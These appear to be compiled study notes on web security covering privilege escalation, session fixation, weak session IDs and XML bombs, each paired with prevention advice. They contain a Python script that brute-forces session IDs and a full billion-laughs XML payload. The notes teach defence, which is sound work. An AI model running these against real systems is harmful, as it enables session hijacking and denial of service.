**When a [zero-day vulnerability](https://www.hacksplaining.com/glossary/zero-day-exploits) is discovered, hackers will immediately try to find a way to exploit it. If your site leaks information about the technology you use, you could well become subject to automated attacks.**

protection

Disable the “Server” HTTP Header and Similar Headers

In your web server configuration, make sure to disable any HTTP response headers that reveal what server technology, language and version you are running.

Use Clean URLs

Try to avoid tell-tale file suffixes in URLs like **.php**, **.asp** and **.jsp** – implement [clean URLs](https://www.hacksplaining.com/glossary/clean-urls) instead.

Ensure Cookie Parameters are Generic

Make sure that nothing is sent back in cookies that gives a clue about the technology stack. This includes tell-tale parameter names, which should be made as generic as possible.

Disable Client-Side Error Reporting

Most web server stacks allow verbose error reporting to be turned on when unexpected errors occur – meaning stack traces and routing information are printed in the HTML of the error page. **Make sure this is disabled in your production environment.** Log files and other error reporting systems are useful in your testing environment, but in production, error reporting should be restricted to the server-side.

**Make sure unexpected errors return a generic HTTP 500 page.** Depending on your technology stack, this may require explicitly catching unexpected exceptions thrown while handing web requests.

Sanitize Data Passed to the Client

Be sure that pages and AJAX responses only return the data needed. Database IDs should be obfuscated, if possible – and if you retain sensitive data for users, make sure it is only sent to the client-side in contexts where it is okay to be shared.

Obfuscate JavaScript

This will make your pages faster to load, and will also make it harder for an attacker to probe for client-side vulnerabilities.

Sanitize Template Files

Conduct code reviews and use static analysis tools to make sure sensitive data doesn’t end up in comments or dead code passed to the client.

Ensure Correct Configuration of Your Web Root Directory

Make sure to strictly separate public and configuration directories, and make sure everyone on your team knows the difference.

***Ch 20 : Privilege escalation***

It is happening when an attacker exploits a vulnerability to impersonate another user or gain extra permissions. It is describing a scenario where an attacker is able to fool a system into giving them extra permissions, or the permissions of another user.

In the context of a website, privilege escalation can occur when the server makes access control decisions based on untrusted input teturned by the browser. Lets now look at acouple of ways an attacker could tamper with an http request to escalate their privileges.   
  
When a user logs into a website, a **session** is established. The browser and server exchange a session identifier so the server knows who it i stalking to with each subsequent http request.   
  
Session state is typically passed to the browser in the Set-Cookie header of a http response. The browser will then return the same information back in the Cookie header.

Headers

**▼ General**

**Remote Address:**

121.232.112.200:80

**Request Method:**

GET

**Status Code:**

200 OK

**▶ Request Headers**

**▼ Response Headers**

**Set-Cookie:**

session\_id=142983010

**Set-Cookie:**

user\_id=3829

**Set-Cookie:**

role=user

Cookies are untrusted input, however. Unless you take explicit steps to tamper proof your cookies a malicious user can easily manipulate the value of the returned cookie.

Headers

**▼ General**

**Remote Address:**

121.232.112.200:80

**Request Method:**

GET

**Status Code:**

200 OK

**▼ Request Headers**

**Cookie:**

session\_id=142983010

**Cookie:**

user\_id=3829

**Cookie:**

role=user

**▶ Response Headers**

When a hacker manipulates a cookie to impersonate another user, it is called **horizontal escalation.**

Headers

**▼ General**

**Remote Address:**

121.232.112.200:80

**Request Method:**

GET

**Status Code:**

200 OK

**▼ Request Headers**

**Cookie:**

session\_id=142983010

**Cookie:**

user\_id=3829

**Cookie:**

role=user

**▶ Response Headers**

Never make access control decisions on the back of untrusted data. Either keep the session state on the server side or ensure cookies are tamper proof by using a digital signature.

Headers

**▼ General**

**Remote Address:**

121.232.112.200:80

**Request Method:**

GET

**Status Code:**

200 OK

**▼ Request Headers**

**Cookie:**

session\_id=142983010

**Cookie:**

user\_id=1

**Cookie:**

role=user

**▶ Response Headers**

You might also pass state between client and server by using HTML forms. When a forms is submitted by the user, a POST request will be sent to the serveR. HTML forms can be trivially manipulated, though, so treat the contents of submitted forms as untrusted input until you can verify otherwise.

For instance, consider an HTML form that writes out access control information in a hidden form field :

<form **method**="POST" **action**="search">

Please enter your search term:

<input **type**="text" **name**="search">

<input **type**="hidden"

**name**="role"

**value**="user">

<input **type**="submit" **value**="Search">

</form>

[A](https://www.hacksplaining.com/exercises/privilege-escalation" \l "gaining-admin) hacker can tamper with the field and attempt to gain administrative access. This is called **vertical escalation. For instance by switching the value from « user » to « admin ».**

Any sensitive data passed to the client and returned in a subsequent request needs to ve verified before it is used to make access control decisions.

**A) preventing privilege escalation**

**Privilege escalation vulnerabilities allow attackers to impersonate other users, or gain permissions they should not have.** These vulnerabilities occur when code makes access decisions on the back of untrusted inputs.

risks

Many websites hold sensitive data on behalf of their users. If an attacker can exploit **horizontal escalation** vulnerabilities to gain access to another user’s data, you are betraying your users’ trust, which can have reputational, legal, and financial implications.

If an attacker can exploit **vertical escalation** vulnerabilities to gain administrative access, they can interrupt critical functions and possibly compromise your application.

protection

Privilege escalation vulnerabilities are system flaws that grant a malicious user excessive or wrong permissions after they have authenticated themselves. (These are distinct from **session hijacking** vulnerabilities that allow an attacker to impersonate another user.)

Escalation vulnerabilities in websites occur when access control decisions are made on the back of untrusted input. Since HTTP is [stateless protocol](https://www.hacksplaining.com/glossary/http), websites need some mechanism of continuing the conversation with the user after login, over multiple HTTP request-response cycles. This typically means sending information in HTTP responses that will be transmitted back in subsequent requests; an attacker will try to manipulate the re-transmitted data to fool the system into giving them more power than they should.

There are three possible approaches to prevent this happening:

* **Keep critical information on the server side**, and only send session IDs to the client.
* **Tamper-proof the data sent to the client**, by using a digital signature.
* **Encrypt the data sent to the client**, so it is opaque to the client.

We will discuss each approach in turn.

Keeping it Server Side

The simplest approach philosophically is to not transmit sensitive data to the client-side. Typically this means only the **session ID** is passed back and forth between client and server, and all session-related data is kept on the server. This removes the possibility of tampering, since a malicious user never gets to see the data.

While secure, this approach puts some extra obligations on the server. Session state has to be persisted and looked up with each HTTP request. Unless you are running everything in a single process on a single server, this means writing the session state away to a data-store or shared memory. The scalability implications of this approach need to be thought through carefully.

Tamper-Proofing Cookies

If you want to send data back to the client-side and be sure it hasn’t been tampered with when it returns, you need to [digitally sign](https://en.wikipedia.org/wiki/Digital_signature" \t "_blank) the data. Many web frameworks allow you to encode session state, and accompany it with a digital signature which must be sent back with the data. Upon receipt of the returned data, the digital signature is recalculated. Any modifications will result in a different signature, indicating the data has been tampered with, and must be discarded.

This approach guarantees the integrity of the data, but does not make it opaque to the client. So it may not be appropriate if you are storing data about a user you don’t want them to be able to see – like credit scores or other types of ratings!

Note that with this approach, the HTTP response and request carry the entirety of the session. Be careful not to store too much data in your sessions, or the responsiveness of your site will be affected.

**Encrypting Data**

If you want the session state to be opaque and tamper-proof, you need to encode and encrypt the data. This introduces some computational overhead – the data will need to be decrypted with each request, and re-encrypted with each response – but should not put a great strain on your servers.

***Ch 21 : Session fixation***

Websites with user accounts typically implement an authentication mechanism to identify returning users. Post authentication, a session will be established. The server and browser will exchange a session ID so the server knows which user the browser is representing with each http request.   
If a hacker gets access to a users session ID, they can impersonate that user. SESSION FIXATION is on of the hacking tool.

In the exemple, a hacker who has noticed that your website passes session IDs in the query string. The hacker will thus craft an URL specifying the session ID : [www.hmstr.com?jsessionid=STEALING\_UR\_DATA](http://www.hmstr.com?jsessionid=STEALING_UR_DATA)**.**

The hacker has been able to determine the email address of a random user. The random user will click the tempting link and logged onto the website and so a session is established. On the other hand, the cacker can now visit the crafted URL in **his** browser which gives him access to the random user session.

The hacker is now logged into the random user account, without the random user being any wiser…

**A) protecting your users against session fixation**

**Session Fixation** vulnerabilities can make your users liable to having their [session](https://www.hacksplaining.com/glossary/sessions) hijacked. A secure implementation of sessions on your site is key to protecting your users.

risks

**Session hijacking allows hackers to bypass your authentication scheme with impunity.** This is almost the worst thing that could happen, security-wise – and you may not know when it has occurred!

protection

Don’t Pass Session IDs in GET/POST Variables

Passing session IDs in [query strings](https://www.hacksplaining.com/glossary/urls), or in the body of [POST requests](https://www.hacksplaining.com/glossary/http#http-methods), is problematic. Not only does it make crafting of malicious URLs possible, but session IDs can be leaked in the following ways:

* If the user follows an out-bound link (the Referer header will describe where the user browsed from).
* In the browser history and in bookmarks.
* In logs on your web server, and any proxy servers.

Session IDs are better passed in [HTTP cookies](https://www.hacksplaining.com/glossary/cookies). See the [code samples](https://www.hacksplaining.com/prevention/session-fixation#code-samples) below for examples of how to do this.

Regenerate the Session ID at Authentication

Session fixation attacks can be defeated by simply regenerating the session ID when the user logs in.

Accept Only Server-Generated Session IDs

It is a good practice to ensure that only server-generated session IDs are accepted by your web server. (On its own, this won’t resolve session fixation vulnerabilities, though. A hacker can easily get a new server-generated ID and pass it onto a victim in a crafted URL.)

Timeout and Replace Old Session IDs

Periodically replace session IDs as a second layer of defense, should they get leaked.

Implement a Strong Logout Function

The logout function on your website should mark session IDs as obsolete. (You do have a logout function, right?)

Require a New Session When Visiting From Suspicious Referrers

Consider forcing your users to login again, if they visit your site from a separate website (e.g. web-mail).

***Ch 22 :*** ***weak session IDS :***

When a website user is authenticated, the server and browser will exchange a session ID so the server knows wich user the browser is representing with each subsequent http request. It is important that your session IDs are generated by a strong random number algorithm and are of sufficient length to be unguessable. Lets see how easy it is for a hacker to get into your site if your session IDS are weak.

A hacker, after visiting your website, might opens up his browser debugger and look at the headers in the http response. He notices that the « set-cookie » header includes a surprisingly small session ID.

Headers

Preview

Response

Cookies

**▼ Response Headers**

**Set-Cookie:**

session\_id=142983010

**Content-Length:**

18433

**Content-Type:**

text/html

The hacker puts together a simple script to enumerate session IDs and check the http response code when each one is submitted to your sitE.

**HACK.PY**

session\_id = 0

**while** **True**:

headers = { "Cookie" : "session\_id=%s" % session\_id }

request = urllib2.Request(url=url, headers=headers)

response = urllib2.urlopen(request)

**if** response.code == 200:

**print** "Found valid session ID: %s" % session\_id

session\_id += 1

**if** session\_id % 10000 == 0:

**print** "Checked session IDs up t

The script might be run many times in parallel by using a botnet for instance so it soon starts to spot session IDS already issued by your server. The hacker plugs one of these IDS into his browser and, voila, he has hijacked somebodys session.   
  
Headers

Preview

Response

Cookies

**▼ Response Headers**

**Set-Cookie:**

session\_id=81293

**Content-Length:**

18433

**Content-Type:**

text/html

In fact, you just have to put a random number in the session id section and youll pass …

**A) securing session ids**

**Weak session IDs** can expose your users to having their [session](https://www.hacksplaining.com/glossary/sessions) hijacked. If your session IDs are picked from a small range of values, an attacker only needs to probe randomly chosen session IDs until they find a match.

risks

**You need to make sure your session IDs are unguessable, or else your authentication scheme can be bypassed with relatively simple scripts.** Most modern frameworks implement secure session ID generation algorithms, so this is a good argument for not inventing your own framework.

Session IDs need to be picked from a large address space (i.e. large enough to make simple enumeration unworkable) and unpredictable. If the generation algorithm is not securely [random](https://www.hacksplaining.com/glossary/randomness), the attacker can narrow down the range of values needed in an enumeration attack.

protection

Use Built-In Session Management

Modern frameworks implement safe, unguessable session IDs. If you are using a recent version of your web toolkit, check to see how the session IDs are generated. The [code samples](https://www.hacksplaining.com/prevention/weak-session#code-samples) below demonstrate a number of good ways to generate session IDs.

Tamper-Proof Your Cookies

Frameworks like [Rails](http://guides.rubyonrails.org/security.html#session-storage) and [Django](https://docs.djangoproject.com/en/3.0/topics/http/sessions/#using-cookie-based-sessions) allow you to sign your cookies. This means the server will be able to tell if the cookie has been manipulated since it was sent to the browser with the Set-Cookie header. Any indication of the data being tampered with will invalidate the session.

These code samples demonstrate how session IDs are generated in the major web frameworks, if you use the built-in session management. Which you should!

PHPAPI char \*php\_session\_create\_id(PS\_CREATE\_SID\_ARGS) /\* {{{ \*/

{

PHP\_MD5\_CTX md5\_context;

PHP\_SHA1\_CTX sha1\_context;

#if defined(HAVE\_HASH\_EXT) && !defined(COMPILE\_DL\_HASH)

void \*hash\_context = **NULL**;

#endif

unsigned char \*digest;

int digest\_len;

int j;

char \*buf, \*outid;

struct timeval tv;

zval \*\***array**;

zval \*\*token;

char \*remote\_addr = **NULL**;

gettimeofday(&tv, **NULL**);

**if** (zend\_hash\_find(&EG(symbol\_table), "\_SERVER", sizeof("\_SERVER"), (void \*\*) &**array**) == SUCCESS &&

Z\_TYPE\_PP(**array**) == IS\_ARRAY &&

zend\_hash\_find(Z\_ARRVAL\_PP(**array**), "REMOTE\_ADDR", sizeof("REMOTE\_ADDR"), (void \*\*) &token) == SUCCESS

) {

remote\_addr = Z\_STRVAL\_PP(token);

}

/\* maximum 15+19+19+10 bytes \*/

spprintf(&buf, 0, "%.15s%ld%ld%0.8F", remote\_addr ? remote\_addr : "", tv.tv\_sec, (long int)tv.tv\_usec, php\_combined\_lcg(TSRMLS\_C) \* 10);

**switch** (PS(hash\_func)) {

**case** PS\_HASH\_FUNC\_MD5:

PHP\_MD5Init(&md5\_context);

PHP\_MD5Update(&md5\_context, (unsigned char \*) buf, strlen(buf));

digest\_len = 16;

**break**;

**case** PS\_HASH\_FUNC\_SHA1:

PHP\_SHA1Init(&sha1\_context);

PHP\_SHA1Update(&sha1\_context, (unsigned char \*) buf, strlen(buf));

digest\_len = 20;

**break**;

#if defined(HAVE\_HASH\_EXT) && !defined(COMPILE\_DL\_HASH)

**case** PS\_HASH\_FUNC\_OTHER:

**if** (!PS(hash\_ops)) {

php\_error\_docref(**NULL** TSRMLS\_CC, E\_ERROR, "Invalid session hash function");

efree(buf);

**return** **NULL**;

}

hash\_context = emalloc(PS(hash\_ops)->context\_size);

PS(hash\_ops)->hash\_init(hash\_context);

PS(hash\_ops)->hash\_update(hash\_context, (unsigned char \*) buf, strlen(buf));

digest\_len = PS(hash\_ops)->digest\_size;

**break**;

#endif /\* HAVE\_HASH\_EXT \*/

**default**:

php\_error\_docref(**NULL** TSRMLS\_CC, E\_ERROR, "Invalid session hash function");

efree(buf);

**return** **NULL**;

}

efree(buf);

**if** (PS(entropy\_length) > 0) {

#ifdef PHP\_WIN32

unsigned char rbuf[2048];

size\_t toread = PS(entropy\_length);

**if** (php\_win32\_get\_random\_bytes(rbuf, MIN(toread, sizeof(rbuf))) == SUCCESS){

**switch** (PS(hash\_func)) {

**case** PS\_HASH\_FUNC\_MD5:

PHP\_MD5Update(&md5\_context, rbuf, toread);

**break**;

**case** PS\_HASH\_FUNC\_SHA1:

PHP\_SHA1Update(&sha1\_context, rbuf, toread);

**break**;

# if defined(HAVE\_HASH\_EXT) && !defined(COMPILE\_DL\_HASH)

**case** PS\_HASH\_FUNC\_OTHER:

PS(hash\_ops)->hash\_update(hash\_context, rbuf, toread);

**break**;

# endif /\* HAVE\_HASH\_EXT \*/

}

}

#else

int fd;

fd = VCWD\_OPEN(PS(entropy\_file), O\_RDONLY);

**if** (fd >= 0) {

unsigned char rbuf[2048];

int n;

int to\_read = PS(entropy\_length);

**while** (to\_read > 0) {

n = read(fd, rbuf, MIN(to\_read, sizeof(rbuf)));

**if** (n <= 0) **break**;

**switch** (PS(hash\_func)) {

**case** PS\_HASH\_FUNC\_MD5:

PHP\_MD5Update(&md5\_context, rbuf, n);

**break**;

**case** PS\_HASH\_FUNC\_SHA1:

PHP\_SHA1Update(&sha1\_context, rbuf, n);

**break**;

#if defined(HAVE\_HASH\_EXT) && !defined(COMPILE\_DL\_HASH)

**case** PS\_HASH\_FUNC\_OTHER:

PS(hash\_ops)->hash\_update(hash\_context, rbuf, n);

**break**;

#endif /\* HAVE\_HASH\_EXT \*/

}

to\_read -= n;

}

close(fd);

}

#endif

}

digest = emalloc(digest\_len + 1);

**switch** (PS(hash\_func)) {

**case** PS\_HASH\_FUNC\_MD5:

PHP\_MD5Final(digest, &md5\_context);

**break**;

**case** PS\_HASH\_FUNC\_SHA1:

PHP\_SHA1Final(digest, &sha1\_context);

**break**;

#if defined(HAVE\_HASH\_EXT) && !defined(COMPILE\_DL\_HASH)

**case** PS\_HASH\_FUNC\_OTHER:

PS(hash\_ops)->hash\_final(digest, hash\_context);

efree(hash\_context);

**break**;

#endif /\* HAVE\_HASH\_EXT \*/

}

**if** (PS(hash\_bits\_per\_character) < 4

|| PS(hash\_bits\_per\_character) > 6) {

PS(hash\_bits\_per\_character) = 4;

php\_error\_docref(**NULL** TSRMLS\_CC, E\_WARNING, "The ini setting hash\_bits\_per\_character is out of range (should be 4, 5, or 6) - using 4 for now");

}

outid = emalloc((size\_t)((digest\_len + 2) \* ((8.0f / PS(hash\_bits\_per\_character)) + 0.5)));

j = (int) (bin\_to\_readable((char \*)digest, digest\_len, outid, (char)PS(hash\_bits\_per\_character)) - outid);

efree(digest);

**if** (newlen) {

\*newlen = j;

}

**return** outid;

}

***CH 23 : XML bombs***

Xml documents are a popular way of transferring structured data. XML is a useful data format because data files can be checked for correctness before being processed. An XML parsing library first will check that any document you pass it is well formed. : the character encodings are valid, tags are properly closed , tag names are valid identifiers, and so on.   
  
Next, the document can be validated. The ordering, naming and nesting of tags, and type of data that appears within each tag, can be compared against rules described in a seperate grammar file.

The two main methods of describing XML grammars are XML Schemas and Document Type Definitions : DTS is now a legacy format, having been replaced by the newer schema grammar. XML schemas and DTS are usually declared as seperate files, however, XML 1.0 permitted inline DTD’s so XML documents could be self describing.   
  
Unfortunately, inline DTDs can be abused by a malicious user if you fail to configure your XML parsing library properly. Let’s see one example of this, called the  **billion laughs attack.**Here is an example inline DTD. Notice how the company declaration acts as a simple string substitution macro. This is a safe and helpful use of inline DTD’s.   
  
**XML FILE WITH INLINE DTD**

<?xml version="1.0"?>

<!DOCTYPE employees [

<!ELEMENT employees (employee)\*>

<!ELEMENT employee (#PCDATA)>

<!ENTITY company "Rock and Gravel Company">

]>

<employees>

<employee>

Fred Flintstone, &company;

</employee>

<employee>

Barney Rubble, &company;

</employee>

</employees>

**EXPANDED XML**

<?xml version="1.0"?>

<employees>

<employee>

Fred Flintstone, Rock and Gravel Company

</employee>

<employee>

Barney Rubble, Rock and Gravel Company

</employee>

</employees>

Now have a look at this monstrosity : a hacker has nested entity definitions within entity definitions within entity definitions. Watch what happens if your XML parsing library decides to unfold the entity definitions ….   
  
**OH, THE HORROR**

<?xml version="1.0"?>

<!DOCTYPE lolz [

<!ENTITY lol "lol">

<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">

<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">

<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">

<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

]>

<lolz>&lol9;</lolz>

First, we replace the **lol9** with the corresponding entity definition ….

**FIRST UNFOLDING**

<?xml version="1.0"?>

<!DOCTYPE lolz [

<!ENTITY lol "lol">

<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">

<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">

<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">

]>

<lolz>&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;</lolz>

Then replace the **lol8** with the corresponding entity definition ….   
  
**SECOND UNFOLDING**

<?xml version="1.0"?>

<!DOCTYPE lolz [

<!ENTITY lol "lol">

<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">

<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">

]>

<lolz>&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;</lolz>

The madness continues …..   
**THIRD UNFOLDING**

<?xml version="1.0"?>

<!DOCTYPE lolz [

<!ENTITY lol "lol">

<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">

<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

]>

<lolz>&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6